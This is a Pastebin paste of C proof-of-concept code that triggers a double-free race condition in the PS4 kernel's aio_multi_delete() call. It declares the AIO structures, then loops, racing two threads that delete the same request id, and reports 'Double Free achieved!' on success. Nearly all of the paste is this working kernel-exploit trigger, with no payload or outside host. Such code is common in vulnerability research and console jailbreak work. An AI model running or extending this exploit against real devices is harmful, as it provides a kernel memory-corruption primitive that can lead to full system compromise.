Advertisement
Guest User

Double Free (PS4)

a guest
Apr 22nd, 2025
3,682
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.11 KB | None | 1 0
  1. // BUG: aio_multi_delete() improper locking leads to Double Free
  2.  
  3. // SceAIO submit commands
  4. #define SCE_KERNEL_AIO_CMD_READ     0x001
  5. #define SCE_KERNEL_AIO_CMD_WRITE    0x002
  6. #define SCE_KERNEL_AIO_CMD_MASK     0xfff
  7. // SceAIO submit command flags
  8. #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
  9.  
  10. #define SCE_KERNEL_AIO_PRIORITY_LOW     1
  11. #define SCE_KERNEL_AIO_PRIORITY_MID     2
  12. #define SCE_KERNEL_AIO_PRIORITY_HIGH    3
  13.  
  14. typedef struct {
  15.     off_t offset;
  16.     size_t nbyte;
  17.     void *buf;
  18.     struct SceKernelAioResult *result;
  19.     int fd;
  20. } SceKernelAioRWRequest;
  21.  
  22. typedef int SceKernelAioSubmitId;
  23.  
  24. int aio_submit_cmd(
  25.     u_int cmd,
  26.     SceKernelAioRWRequest reqs[],
  27.     u_int num_reqs,
  28.     u_int prio,
  29.     SceKernelAioSubmitId ids[]
  30. );
  31.  
  32. // wait for all (AND) or atleast one (OR) to finish
  33. #define SCE_KERNEL_AIO_WAIT_AND 0x01
  34. #define SCE_KERNEL_AIO_WAIT_OR  0x02
  35.  
  36. int aio_multi_wait(
  37.     SceKernelAioSubmitId ids[],
  38.     u_int num_ids,
  39.     int sce_errors[],
  40.     // SCE_KERNEL_AIO_WAIT_*
  41.     uint32_t mode,
  42.     useconds_t *usec
  43. );
  44.  
  45. int aio_multi_delete(
  46.     SceKernelAioSubmitId ids[],
  47.     u_int num_ids,
  48.     int sce_errors[]
  49. );
  50.  
  51. const int num_reqs = 3;
  52. const int which_req = 0;
  53. const int race_errs[2];
  54. pthread_barrier_t barrier;
  55.  
  56. void *race_func(void *arg) {
  57.     int *id = (int *)arg;
  58.  
  59.     pthread_barrier_wait(&barrier);
  60.     aio_multi_delete(id, 1, &race_errs[1]);
  61.  
  62.     return NULL;
  63. }
  64.  
  65. int main(void) {
  66.     SceKernelAioRWRequest reqs[num_reqs] = {0};
  67.     int ids[num_reqs] = {0};
  68.     int sce_errs[num_reqs] = {0};
  69.  
  70.     // bare minimum initialization to succeed in calling aio_submit_cmd()
  71.     for (int i = 0; i < num_reqs; i++) {
  72.         reqs[i].fd = -1;
  73.     }
  74.  
  75.     pthread_barrier_init(&barrier, NULL, 2);
  76.  
  77.     for (int i = 0; i < 100; i++) {
  78.         // command and priority don't matter but the MULTI flag is required
  79.         aio_submit_cmd(
  80.             SCE_KERNEL_AIO_CMD_WRITE | SCE_KERNEL_AIO_CMD_MULTI,
  81.             reqs,
  82.             num_reqs,
  83.             SCE_KERNEL_AIO_PRIORITY_HIGH,
  84.             ids
  85.         );
  86.  
  87.         // you can't delete any request that is already being processed by a
  88.         // SceFsstAIO worker thread
  89.         //
  90.         // we just wait on all of them instead of polling and checking whether
  91.         // a request is being processed. polling is also error-prone since the
  92.         // result can become out of date
  93.         aio_multi_wait(ids, num_reqs, sce_errs, SCE_KERNEL_AIO_WAIT_AND, 0);
  94.  
  95.         pthread_t race_thread;
  96.         pthread_create(&race_thread, NULL, race_func, &ids[which_req]);
  97.         pthread_barrier_wait(&barrier);
  98.  
  99.         // double delete request which_req
  100.         aio_multi_delete(&ids[which_req], 1, &race_errs[0]);
  101.  
  102.         pthread_join(race_thread, NULL);
  103.  
  104.         // either both are 0 or one of the errors is SCE_KERNEL_ERROR_ESRCH
  105.         // (0x80020003) and the other is 0. you'll never get double
  106.         // SCE_KERNEL_ERROR_ESRCH
  107.         if (race_errs[0] == race_errs[1]) {
  108.             printf("Double Free achieved!\n");
  109.             return 0;
  110.         }
  111.     }
  112.     printf("Double Free failed\n");
  113.  
  114.     return 0;
  115. }
  116.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement